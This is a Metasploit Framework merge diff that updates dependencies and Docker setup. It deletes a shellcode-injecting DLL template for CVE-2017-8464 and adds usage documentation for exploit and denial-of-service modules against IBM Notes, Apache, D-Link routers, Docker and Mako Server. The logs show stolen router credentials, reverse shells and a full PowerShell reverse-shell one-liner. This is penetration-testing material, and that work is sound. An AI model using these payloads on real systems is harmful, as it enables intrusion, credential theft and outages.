Merge branch 'upstream-master' into land-9126-

MS-2855/keylogger-mettle-extension
Brent Cook 2017-12-11 03:57:00 -06:00
commit 1653e31f71
319 changed files with 5905 additions and 1408 deletions

View File

@ -34,7 +34,7 @@ config/database.yml
# target config file for testing
features/support/targets.yml
# simplecov coverage data
coverage
coverage/
doc/
external/source/meterpreter/java/bin
external/source/meterpreter/java/build

1
.gitignore vendored
View File

@ -88,6 +88,7 @@ data/meterpreter/ext_server_pivot.*.dll
# local docker compose overrides
docker-compose.local*
.env
# Ignore python bytecode
*.pyc

View File

@ -25,7 +25,7 @@ matrix:
jobs:
# build docker image
include:
- env: CMD="docker-compose -f $TRAVIS_BUILD_DIR/docker-compose.yml build" DOCKER="true"
- env: CMD="docker-compose build" DOCKER="true"
# we do not need any setup
before_install: skip
install: skip

View File

@ -1,14 +1,17 @@
FROM ruby:2.4.2-alpine
MAINTAINER Rapid7
LABEL maintainer="Rapid7"
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
ENV APP_HOME /usr/src/metasploit-framework/
ENV MSF_USER msf
ENV NMAP_PRIVILEGED=""
ENV BUNDLE_IGNORE_MESSAGES="true"
WORKDIR $APP_HOME
COPY Gemfile* m* Rakefile $APP_HOME
COPY lib $APP_HOME/lib
COPY Gemfile* metasploit-framework.gemspec Rakefile $APP_HOME
COPY lib/metasploit/framework/version.rb $APP_HOME/lib/metasploit/framework/version.rb
COPY lib/metasploit/framework/rails_version_constraint.rb $APP_HOME/lib/metasploit/framework/rails_version_constraint.rb
COPY lib/msf/util/helper.rb $APP_HOME/lib/msf/util/helper.rb
RUN apk update && \
apk add \
@ -45,7 +48,7 @@ RUN apk update && \
RUN adduser -g msfconsole -D $MSF_USER
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip /usr/bin/nmap
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
USER $MSF_USER

View File

@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (4.16.13)
metasploit-framework (4.16.23)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -17,9 +17,9 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.3.11)
metasploit-payloads (= 1.3.18)
metasploit_data_models
metasploit_payloads-mettle (= 0.2.2)
metasploit_payloads-mettle (= 0.2.8)
msgpack
nessus_rest
net-ssh
@ -49,7 +49,7 @@ PATH
rex-mime
rex-nop
rex-ole
rex-powershell (< 0.1.73)
rex-powershell (< 0.1.78)
rex-random_identifier
rex-registry
rex-rop_builder
@ -112,43 +112,43 @@ GEM
builder (3.2.3)
coderay (1.1.2)
concurrent-ruby (1.0.5)
crass (1.0.2)
crass (1.0.3)
diff-lcs (1.3)
dnsruby (1.60.2)
docile (1.1.5)
erubis (2.7.0)
factory_girl (4.8.1)
factory_girl (4.9.0)
activesupport (>= 3.0.0)
factory_girl_rails (4.8.0)
factory_girl (~> 4.8.0)
factory_girl_rails (4.9.0)
factory_girl (~> 4.9.0)
railties (>= 3.0.0)
faraday (0.13.1)
multipart-post (>= 1.2, < 3)
ffi (1.9.18)
filesize (0.1.1)
fivemat (1.3.5)
google-protobuf (3.4.1.1)
googleapis-common-protos-types (1.0.0)
google-protobuf (3.5.0)
googleapis-common-protos-types (1.0.1)
google-protobuf (~> 3.0)
googleauth (0.5.3)
googleauth (0.6.2)
faraday (~> 0.12)
jwt (~> 1.4)
jwt (>= 1.4, < 3.0)
logging (~> 2.0)
memoist (~> 0.12)
multi_json (~> 1.11)
os (~> 0.9)
signet (~> 0.7)
grpc (1.6.7)
grpc (1.7.3)
google-protobuf (~> 3.1)
googleapis-common-protos-types (~> 1.0.0)
googleauth (~> 0.5.1)
googleauth (>= 0.5.1, < 0.7)
hashery (2.1.2)
i18n (0.9.0)
i18n (0.9.1)
concurrent-ruby (~> 1.0)
jsobfu (0.4.2)
rkelly-remix
json (2.1.0)
jwt (1.5.6)
jwt (2.1.0)
little-plugger (1.1.4)
logging (2.2.2)
little-plugger (~> 1.1)
@ -178,7 +178,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.3.11)
metasploit-payloads (1.3.18)
metasploit_data_models (2.0.15)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -189,11 +189,11 @@ GEM
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.2.2)
metasploit_payloads-mettle (0.2.8)
method_source (0.9.0)
mini_portile2 (2.3.0)
minitest (5.10.3)
msgpack (1.1.0)
msgpack (1.2.0)
multi_json (1.12.2)
multipart-post (2.0.0)
nessus_rest (0.1.6)
@ -223,10 +223,10 @@ GEM
activerecord (>= 4.0.0)
arel (>= 4.0.1)
pg_array_parser (~> 0.0.9)
pry (0.11.2)
pry (0.11.3)
coderay (~> 1.1.0)
method_source (~> 0.9.0)
public_suffix (3.0.0)
public_suffix (3.0.1)
rack (1.6.8)
rack-test (0.6.3)
rack (>= 1.0)
@ -243,16 +243,16 @@ GEM
activesupport (= 4.2.10)
rake (>= 0.8.7)
thor (>= 0.18.1, < 2.0)
rake (12.1.0)
rake (12.3.0)
rb-readline (0.5.5)
rbnacl (4.0.2)
ffi
rbnacl-libsodium (1.0.13)
rbnacl-libsodium (1.0.15.1)
rbnacl (>= 3.0.1)
recog (2.1.15)
recog (2.1.17)
nokogiri
redcarpet (3.4.0)
rex-arch (0.1.11)
rex-arch (0.1.13)
rex-text
rex-bin_tools (0.1.4)
metasm
@ -265,7 +265,7 @@ GEM
metasm
rex-arch
rex-text
rex-exploitation (0.1.15)
rex-exploitation (0.1.16)
jsobfu
metasm
rex-arch
@ -278,7 +278,7 @@ GEM
rex-arch
rex-ole (0.1.6)
rex-text
rex-powershell (0.1.72)
rex-powershell (0.1.77)
rex-random_identifier
rex-text
rex-random_identifier (0.1.4)
@ -288,7 +288,7 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.8)
rex-socket (0.1.9)
rex-core
rex-sslscan (0.1.5)
rex-core
@ -311,7 +311,7 @@ GEM
rspec-mocks (3.7.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.7.0)
rspec-rails (3.7.1)
rspec-rails (3.7.2)
actionpack (>= 3.0)
activesupport (>= 3.0)
railties (>= 3.0)
@ -348,16 +348,16 @@ GEM
thread_safe (0.3.6)
timecop (0.9.1)
ttfunk (1.5.1)
tzinfo (1.2.3)
tzinfo (1.2.4)
thread_safe (~> 0.1)
tzinfo-data (1.2017.2)
tzinfo-data (1.2017.3)
tzinfo (>= 1.0.0)
windows_error (0.1.2)
xdr (2.0.0)
activemodel (>= 4.2.7)
activesupport (>= 4.2.7)
xmlrpc (0.3.0)
yard (0.9.9)
yard (0.9.12)
PLATFORMS
ruby
@ -378,4 +378,4 @@ DEPENDENCIES
yard
BUNDLED WITH
1.15.4
1.16.0

View File

@ -1,4 +1,4 @@
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://img.shields.io/codeclimate/github/rapid7/metasploit-framework.svg)](https://codeclimate.com/github/rapid7/metasploit-framework)
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://img.shields.io/codeclimate/github/rapid7/metasploit-framework.svg)](https://codeclimate.com/github/rapid7/metasploit-framework) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
==
The Metasploit Framework is released under a BSD-style license. See
COPYING for more details.

View File

@ -1,15 +0,0 @@
#!/bin/sh
rm -f *.o *.dll
CCx86="i686-w64-mingw32"
CCx64="x86_64-w64-mingw32"
${CCx64}-gcc -m64 -c -Os template.c -Wall -shared
${CCx64}-dllwrap -m64 --def template.def *.o -o temp.dll
${CCx64}-strip -s temp.dll -o ../template_x64_windows.dll
rm -f temp.dll *.o
${CCx86}-gcc -c -Os template.c -Wall -shared
${CCx86}-dllwrap --def template.def *.o -o temp.dll
${CCx86}-strip -s temp.dll -o ../template_x86_windows.dll
rm -f temp.dll *.o

View File

@ -1,95 +0,0 @@
// Based on https://github.com/rapid7/metasploit-framework/tree/cac890a797d0d770260074dfe703eb5cfb63bd46/data/templates/src/pe/dll
// - removed ExitThread(0) to prevent an Explorer crash
// - added Mutex to prevent invoking payload multiple times (at least try)
#include <windows.h>
#include "template.h"
void inline_bzero(void *p, size_t l)
{
BYTE *q = (BYTE *)p;
size_t x = 0;
for (x = 0; x < l; x++)
*(q++) = 0x00;
}
void ExecutePayload(void);
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
ExecutePayload();
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
void ExecutePayload(void)
{
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT ctx;
LPVOID ep;
HANDLE hMutex;
SECURITY_ATTRIBUTES MutexAttributes;
inline_bzero(&MutexAttributes, sizeof(MutexAttributes));
MutexAttributes.nLength = sizeof(MutexAttributes);
MutexAttributes.bInheritHandle = TRUE; // inherit the handle
hMutex = CreateMutex(&MutexAttributes, TRUE, "MsfMutex");
if(hMutex == NULL)
{
return;
}
if(GetLastError() == ERROR_ALREADY_EXISTS)
{
CloseHandle(hMutex);
return;
}
if(GetLastError() == ERROR_ACCESS_DENIED)
{
CloseHandle(hMutex);
return;
}
// Start up the payload in a new process
inline_bzero(&si, sizeof(si));
si.cb = sizeof(si);
// Create a suspended process, write shellcode into stack, resume it
if(CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
CloseHandle(hMutex);
}

View File

@ -1,3 +0,0 @@
#define SCSIZE 2048
unsigned char code[SCSIZE] = "PAYLOAD:";

BIN
data/exploits/cve-2017-8464/template_x64_windows.dll Executable file → Normal file

Binary file not shown.

BIN
data/exploits/cve-2017-8464/template_x86_windows.dll Executable file → Normal file

Binary file not shown.

View File

@ -1,13 +1,14 @@
version: '2'
version: '3'
services:
ms:
build:
context: .
dockerfile: ./Dockerfile
args:
BUNDLER_ARGS: --jobs=8
image: metasploit:dev
environment:
DATABASE_URL: postgres://postgres@db:5432/msf_dev
volumes:
- .:/usr/src/metasploit-framework

View File

@ -1,10 +1,7 @@
version: '2'
version: '3'
services:
ms:
image: metasploit
build:
context: .
dockerfile: ./Dockerfile
image: metasploitframework/metasploit-framework:latest
environment:
DATABASE_URL: postgres://postgres@db:5432/msf
links:
@ -16,7 +13,7 @@ services:
- /etc/localtime:/etc/localtime:ro
db:
image: postgres:9-alpine
image: postgres:10-alpine
volumes:
- pg_data:/var/lib/postgresql/data

View File

@ -3,43 +3,36 @@
To run `msfconsole`
```bash
docker-compose build
docker-compose run --rm --service-ports ms
```
or
```bash
./docker/bin/msfconsole
```
To run `msfvenom`
```bash
docker-compose run --rm ms ./msfvenom
docker-compose build
docker-compose run --rm --no-deps ms ./msfvenom
```
### I don't like typing `docker-compose --rm ...`
We have included some binstubs `./bin`, you can symlink them to your path.
Assuming you have `$HOME/bin`, and it's in your `$PATH`. You can run this from the project root:
or
```bash
ln -s `pwd`/docker/bin/msfconsole $HOME/bin/
ln -s `pwd`/docker/bin/msfvenom $HOME/bin/
./docker/bin/msfvenom
```
If you set the environment variable `MSF_BUILD` the container will be rebuilt.
```bash
MSF_BUILD=1 ./docker/bin/msfconsole
MSF_BUILD=1 ./docker/bin/msfconsole-dev
```
You can pass any command line arguments to the binstubs or the docker-compose command and they will be passed to `msfconsole` or `msfvenom`. If you need to rebuild an image (for example when the Gemfile changes) you need to build the docker image using `docker-compose build` or supply the `--rebuild` parameter to the binstubs.
### But I want reverse shells...
By default we expose port `4444`. You'll need to set `LHOST` to be a hostname/ip
of your host machine.
By default we expose port `4444`.
If you want to expose more ports, or have `LHOST` prepopulated with a specific
value; you'll need to setup a local docker-compose override for this.
Create `docker/docker-compose.local.override.yml` with:
Create `docker-compose.local.override.yml` with:
```yml
version: '2'
version: '3'
services:
ms:
environment:
@ -56,19 +49,6 @@ Now you need to set the `COMPOSE_FILE` environment variable to load your local
override.
```bash
echo "COMPOSE_FILE=./docker-compose.yml:./docker/docker-compose.local.override.yml" >> .env
echo "COMPOSE_FILE=./docker-compose.yml:./docker-compose.override.yml:./docker-compose.local.override.yml" >> .env
```
Now you should be able get reverse shells working
## Developing
To setup you environment for development, you need to add `docker/docker-compose.development.override.yml`
to your `COMPOSE_FILE` environment variable.
If you don't have a `COMPOSE_FILE` environment variable, you can set it up with this:
```bash
echo "COMPOSE_FILE=./docker-compose.yml:./docker/docker-compose.development.override.yml" >> .env
```
Alternatively you can also use the `msfconsole-dev` binstub.

View File

@ -19,8 +19,12 @@ fi
cd $MSF_PATH
if [[ -n "$MSF_BUILD" ]]; then
docker-compose -f $MSF_PATH/docker-compose.yml build
PARAMS="$@"
if [[ $PARAMS == *"--rebuild"* ]]; then
echo "Rebuilding image"
docker-compose build
exit $?
fi
docker-compose run --rm --service-ports ms ./msfconsole -r docker/msfconsole.rc "$@"
docker-compose run --rm --service-ports ms ./msfconsole -r docker/msfconsole.rc "$PARAMS"

View File

@ -1,27 +0,0 @@
#! /bin/bash
if [[ -z "$MSF_PATH" ]]; then
path=`dirname $0`
# check for ./docker/msfconsole.rc
if [[ ! -f $path/../msfconsole.rc ]] ; then
# we are not inside the project
realpath --version > /dev/null 2>&1 || { echo >&2 "I couldn't find where metasploit is. Set \$MSF_PATH or execute this from the project root"; exit 1 ;}
# determine script path
pushd $(dirname $(realpath $0)) > /dev/null
path=$(pwd)
popd > /dev/null
fi
MSF_PATH=$(dirname $(dirname $path))
fi
cd $MSF_PATH
if [[ -n "$MSF_BUILD" ]]; then
docker-compose -f $MSF_PATH/docker-compose.yml -f $MSF_PATH/docker/docker-compose.development.override.yml build
fi
docker-compose -f $MSF_PATH/docker-compose.yml -f $MSF_PATH/docker/docker-compose.development.override.yml run --rm --service-ports ms ./msfconsole -r docker/msfconsole.rc "$@"

View File

@ -17,9 +17,15 @@ if [[ -z "$MSF_PATH" ]]; then
MSF_PATH=$(dirname $(dirname $path))
fi
if [[ -n "$MSF_BUILD" ]]; then
docker-compose -f $MSF_PATH/docker-compose.yml build
cd $MSF_PATH
PARAMS="$@"
if [[ $PARAMS == *"--rebuild"* ]]; then
echo "Rebuilding image"
docker-compose build
exit $?
fi
cd $MSF_PATH
docker-compose run --rm --service-ports ms ./msfvenom "$@"
# we need no database here
docker-compose run --rm --no-deps ms ./msfvenom "$PARAMS"

View File

@ -1,26 +0,0 @@
#! /bin/bash
if [[ -z "$MSF_PATH" ]]; then
path=`dirname $0`
# check for ./docker/msfconsole.rc
if [[ ! -f $path/../msfconsole.rc ]] ; then
# we are not inside the project
realpath --version > /dev/null 2>&1 || { echo >&2 "I couldn't find where metasploit is. Set \$MSF_PATH or execute this from the project root"; exit 1 ;}
# determine script path
pushd $(dirname $(realpath $0)) > /dev/null
path=$(pwd)
popd > /dev/null
fi
MSF_PATH=$(dirname $(dirname $path))
fi
cd $MSF_PATH
if [[ -n "$MSF_BUILD" ]]; then
docker-compose -f $MSF_PATH/docker-compose.yml -f $MSF_PATH/docker/docker-compose.development.override.yml build
fi
docker-compose -f $MSF_PATH/docker-compose.yml -f $MSF_PATH/docker/docker-compose.development.override.yml run --rm --service-ports ms ./msfvenom "$@"

View File

@ -0,0 +1,67 @@
## Vulnerable Application
This module exploits a vulnerability in the built-in web-browser of IBM Lotus Notes client application.
If a user is persuaded to click on a malicious link, it would open up many file select dialog boxes which,
would cause the client hang and have to be restarted.
Affected Products and Versions
IBM Notes 9.0.1 to 9.0.1 FP8 IF1
IBM Notes 9.0 to 9.0 IF4.
IBM Notes 8.5.3 to 8.5.3 FP6 IF13.
IBM Notes 8.5.2 to 8.5.2 FP4 IF3.
IBM Notes 8.5.1. to 8.5.1 FP5 IF5.
IBM Notes 8.5 release
Related security bulletin from IBM: http://www-01.ibm.com/support/docview.wss?uid=swg21999384
## Verification
Start msfconsole
`use auxiliary/dos/http/ibm_lotus_notes2.rb`
Set `SRVHOST`
Set `SRVPORT`
run (Server started)
Visit server URL in the built-in web-browser of IBM Notes client application
## Scenarios
```
msf > use auxiliary/dos/http/ibm_lotus_notes2
msf auxiliary(ibm_lotus_notes2) > show options
Module options (auxiliary/dos/http/ibm_lotus_notes2):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Auxiliary action:
Name Description
---- -----------
WebServer
msf auxiliary(ibm_lotus_notes2) > set SRVHOST 192.168.0.50
SRVHOST => 192.168.0.50
msf auxiliary(ibm_lotus_notes2) > set SRVPORT 9092
SRVPORT => 9092
msf auxiliary(ibm_lotus_notes2) > run
[*] Auxiliary module execution completed
msf auxiliary(ibm_lotus_notes2) >
[*] Using URL: http://192.168.0.50:9092/mypath
[*] Server started.
msf auxiliary(ibm_lotus_notes2) >
```
At this point, the target should use the built-in web browser of their IBM Lotus Notes client to navigate to the above "Using URL" value. And then they should see their Notes app become unresponsive.

View File

@ -0,0 +1,47 @@
## Vulnerable Application
This module tries to keep many connections to the target web server open and hold them open as long as possible.
To test this module download and setup the Metasploitable 2 vulnerable Linux virtual machine available at [https://sourceforge.net/projects/metasploitable/files/Metasploitable2/](https://sourceforge.net/projects/metasploitable/files/Metasploitable2/).
Vulnerable application versions include:
- Apache HTTP Server 1.x and 2.x
- Apache Tomcat 5.5.0 through 5.5.29, 6.0.0 through 6.0.27 and 7.0.0 beta
## Verification Steps
1. Start msfconsole
2. Do: `use auxiliary/dos/http/slowloris`
3. Do: `set RHOST`
4. Do: `run`
5. Visit server URL in your web-browser.
## Scenarios
### Apache/2.2.8 - Ubuntu 8.04
```
msf > use auxiliary/dos/http/slowloris
msf auxiliary(slowloris) > show options
Module options (auxiliary/dos/http/slowloris):
Name Current Setting Required Description
---- --------------- -------- -----------
delay 15 yes The delay between sending keep-alive headers
rand_user_agent true yes Randomizes user-agent with each request
rhost 172.28.128.4 yes The target address
rport 80 yes The target port
sockets 150 yes The number of sockets to use in the attack
ssl false yes Negotiate SSL/TLS for outgoing connections
msf auxiliary(slowloris) > set rhost 172.28.128.4
rhost => 172.28.128.4
msf auxiliary(slowloris) > run
[*] Starting server...
[*] Attacking 172.28.128.4 with 150 sockets
[*] Creating sockets...
[*] Sending keep-alive headers... Socket count: 150
```

View File

@ -0,0 +1,64 @@
The module dlink_dir850_(un)auth_exec leverages an unauthenticated credential disclosure vulnerability to then execute arbitrary commands via an authenticated OS command injection
vulnerability. D-LINK 850L (excluding "Cloud" models) devices with firmware version up to 1.14B07
are potentially vulnerable. The vulnerability seems to occur within the parsing of the config. Another PoC can be found here https://www.seebug.org/vuldb/ssvid-96333. Setting command to be `reboot` will force the router into an infinite loop.
## Vulnerable Application
1. Start msfconsole
2. Do : `use exploit/linux/http/dlink_dir850l_unauth_exec.rb`
3. Do : `set RHOST [RouterIP]`
4. Do : `set PAYLOAD linux/mipsbe/shell/reverse_tcp`
5. Do : `run`
6. If router is vulnerable, payload should be dropped via wget and executed, and therein should obtain an session
## Example
```
msf > use exploit/linux/http/dlink_dir850l_unauth_exec
msf exploit(dlink_dir850l_unauth_exec) > set RHOST 192.168.0.14
RHOST => 192.168.0.14
msf exploit(dlink_dir850l_unauth_exec) > set RPORT 80
RPORT => 80
msf exploit(dlink_dir850l_unauth_exec) > check
[*] 192.168.0.14:80 The target service is running, but could not be validated.
msf exploit(dlink_dir850l_unauth_exec) > set VERBOSE true
VERBOSE => true
msf exploit(dlink_dir850l_unauth_exec) > set LHOST ens3
LHOST => ens3
msf exploit(dlink_dir850l_unauth_exec) > set LPORT 3131
LPORT => 3131
msf exploit(dlink_dir850l_unauth_exec) > run
[*] Started reverse TCP handler on 192.168.0.11:3131
[*] 192.168.0.14:80 - Connecting to target...
[+] 192.168.0.14:80 - Retrieved the username/password combo Admin/92830535
[+] 192.168.0.14:80 - Downloaded credentials to /root/.msf4/loot/20171104113614_default_192.168.0.14_dlink.dir850l.lo_146186.txt
[*] 192.168.0.14:80 - Starting up web service http://192.168.0.11:8080/ZUrlVeWUm
[*] Using URL: http://0.0.0.0:8080/ZUrlVeWUm
[*] Local IP: http://192.168.0.11:8080/ZUrlVeWUm
[*] 192.168.0.14:80 - Asking target to request to download http://192.168.0.11:8080/ZUrlVeWUm
[*] 192.168.0.14:80 - Waiting for target to request the ELF payload...
[*] 192.168.0.14:80 - Sending payload to the server...
[*] 192.168.0.14:80 - Requesting device to chmod ZUrlVeWUm
[*] 192.168.0.14:80 - Requesting device to execute ZUrlVeWUm
[*] 192.168.0.14:80 - Waiting 10 seconds for shell to connect back to us...
[*] Sending stage (84 bytes) to 192.168.0.14
[*] Command shell session 1 opened (192.168.0.11:3131 -> 192.168.0.14:43953) at 2017-11-04 11:36:26 -0400
[+] Deleted /tmp/uoskutcy
[-] Exploit aborted due to failure: unknown: 192.168.0.14:80 - Shell never connected to us!, disconnect?
[*] Server stopped.
[*] Exploit completed, but no session was created.
msf exploit(dlink_dir850l_unauth_exec) > sessions -i 1
[*] Starting interaction with 1...
190745749
wUVNdEKSrgeaxdSQyfTyxvaoYgFzyvGj
true
pQfaUhhwMvgnWrLpQXhhUAioNBFHPRZP
OgkEaOTPYbUEOLlLpLFEbodBvHFmVRmH
iNaYBrmsZqFyolPWWRKEHsKglrSlSGkY
pwd
/
```

View File

@ -67,6 +67,8 @@ OK
[Disable][5] or [protect][6] the Docker tcp socket.
[User namespaces][7] did **not** protect against this.
# Exploitation
This module is designed for the attacker to leverage, creation of a
Docker container with out authentication through the Docker tcp socket
@ -88,8 +90,8 @@ to gain root access to the hosting server of the Docker container.
msf > use exploit/linux/http/docker_daemon_tcp
msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23
RHOST => 192.168.66.23
msf exploit(docker_daemon_tcp) > set PAYLOAD python/meterpreter/reverse_tcp
PAYLOAD => python/meterpreter/reverse_tcp
msf exploit(docker_daemon_tcp) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10
LHOST => 192.168.66.10
msf exploit(docker_daemon_tcp) > set VERBOSE true
@ -108,18 +110,17 @@ msf exploit(docker_daemon_tcp) > run
[*] Waiting for the cron job to run, can take up to 60 seconds
[*] Waiting until the docker container stopped
[*] The docker container has been stopped, now trying to remove it
[*] Sending stage (40411 bytes) to 192.168.66.23
[*] Sending stage (2878936 bytes) to 192.168.66.23
[*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200
[+] Deleted /etc/cron.d/lVoepNpy
[+] Deleted /tmp/poasDIuZ
meterpreter > sysinfo
Computer : debian
OS : Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26)
Computer : rancher
OS : Debian 9.1 (Linux 4.9.0-3-amd64)
Architecture : x64
System Language : en_US
Meterpreter : python/linux
Meterpreter : x64/linux
meterpreter >
```
@ -129,3 +130,4 @@ meterpreter >
[4]:https://docs.docker.com/engine/admin/systemd/
[5]:https://docs.docker.com/engine/reference/commandline/dockerd/#options
[6]:https://docs.docker.com/engine/security/https/
[7]:https://docs.docker.com/engine/security/userns-remap/#disable-namespace-remapping-for-a-container

View File

@ -0,0 +1,251 @@
## Description
This module exploits a vulnerability found in Mako Server v2.5, 2.6.
It's possible to inject arbitrary OS commands in the Mako Server tutorial page through a PUT request to save.lsp. Attacker input will be saved on the victims machine and can be executed by sending a GET request to manage.lsp.
Based on the public PoC found here: https://blogs.securiteam.com/index.php/archives/3391
## Vulnerable Application
[Mako Server](https://makoserver.net) is an application framework for designing web and IoT applications.
This module has been verified against the following Mako Server versions for Windows XP SP3, Windows 7 SP1 and Linux Ubuntu 16.04 LTS:
- v2.5
- v2.6
Links:
- [Windows x86 installer](https://makoserver.net/download/mako.windows.x86.exe)
- [Windows download page](https://makoserver.net/download/windows)
- [Linux x64 installer](https://makoserver.net/download/mako.linux-x64.tar.gz)
- [Linux download page](https://makoserver.net/download/linux-x86)
- [Documentation](https://makoserver.net/download/manual)
## References for vulnerability
- https://blogs.securiteam.com/index.php/archives/3391
- https://www.exploit-db.com/exploits/42683
## Verification Steps for Windows
1. Run the installer "mako.windows.x86" on a Windows 7 SP1 (x86/x64) target (with Powershell for this example to work)
2. After installer finishes, double click the "Mako-Demo" shortcut on the desktop
4. Start msfconsole on host
5. Do: ```use exploit/multi/http/makoserver_cmd_exec```
6. Do: ```set RHOST <IP address of target system>```
7. Do: ```set PAYLOAD cmd/windows/reverse_powershell```
8. Do: ```set LHOST <IP address of host system>```
9. Do: ```exploit```
10. You should get a Windows command shell
## Verification Steps for Linux
1. Extract the "mako.linux-x64.tar.gz" on a Linux Ubuntu 16.04 LTS (x64) target (with Python for this example to work)
2. From inside the extracted folder, do ```./rundemo.sh```
4. Start msfconsole on host
5. Do: ```use exploit/multi/http/makoserver_cmd_exec```
6. Do: ```set RHOST <IP address of target system>```
7. Do: ```set PAYLOAD cmd/unix/python_reverse```
8. Do: ```set LHOST <IP address of host system>```
9. Do: ```exploit```
10. You should get a Linux command shell (may need to wait ~30 seconds)
## Example Output
```
msf > use exploit/multi/http/makoserver_cmd_exec
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3
RHOST => 10.10.10.3
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
PAYLOAD => cmd/windows/reverse_powershell
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.2
LHOST => 10.10.10.2
msf exploit(makoserver_cmd_exec) > exploit
[*] Started reverse TCP handler on 10.10.10.2:4444
[*] Sending payload to target...
[*] Command shell session 1 opened (10.10.10.2:4444 -> 10.10.10.3:49175) at 2017-10-26 21:23:59 -0400
Microsoft Windows
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\Smith\Downloads\MakoServer>
```
## Example Verbose Output
```
msf > use exploit/multi/http/makoserver_cmd_exec
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3
RHOST => 10.10.10.3
msf exploit(makoserver_cmd_exec) > set VERBOSE true
VERBOSE => true
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
PAYLOAD => cmd/windows/reverse_powershell
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.2
LHOST => 10.10.10.2
msf exploit(makoserver_cmd_exec) > check
[*] Trying to detect running Mako Server and necessary files...
[*] Mako Server save.lsp returns correct ouput.
[*] 10.10.10.3:80 The target appears to be vulnerable.
msf exploit(makoserver_cmd_exec) > exploit
[*] Started reverse TCP handler on 10.10.10.2:4444
[*] Sending payload to target...
[*] Now executing the following command: os.execute([[powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true) {$c.Close()};if ($p.ExitCode -ne $null) {$p.Close()};exit;};$a='10.10.10.2';$p='4444';$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$p);$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;while($os.Peek() -ne -1){$o += $e.GetString($os.Read())};$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;$d=$false;$t=0;while (-not $d) {if ($c.Connected -ne $true) {RSC};$pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) {$r=$s.Read($nb,$pos,$nb.Length - $pos);$pos+=$r;if (-not $pos -or $pos -eq 0) {RSC};if ($nb[0..$($pos-1)] -contains 10) {break}};if ($pos -gt 0){$str=$e.GetString($nb,0,$pos);$is.write($str);start-sleep 1;if ($p.ExitCode -ne $null){RSC}else{$o=$e.GetString($os.Read());while($os.Peek() -ne -1){$o += $e.GetString($os.Read());if ($o -eq $str) {$o=''}};$s.Write($e.GetBytes($o),0,$o.length);$o=$null;$str=$null}}else{RSC}};]])
[*] Sending PUT request to save.lsp...
[*] Sending GET request to manage.lsp...
[*] Command shell session 1 opened (10.10.10.2:4444 -> 10.10.10.3:49174) at 2017-10-26 21:21:08 -0400
Microsoft Windows
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
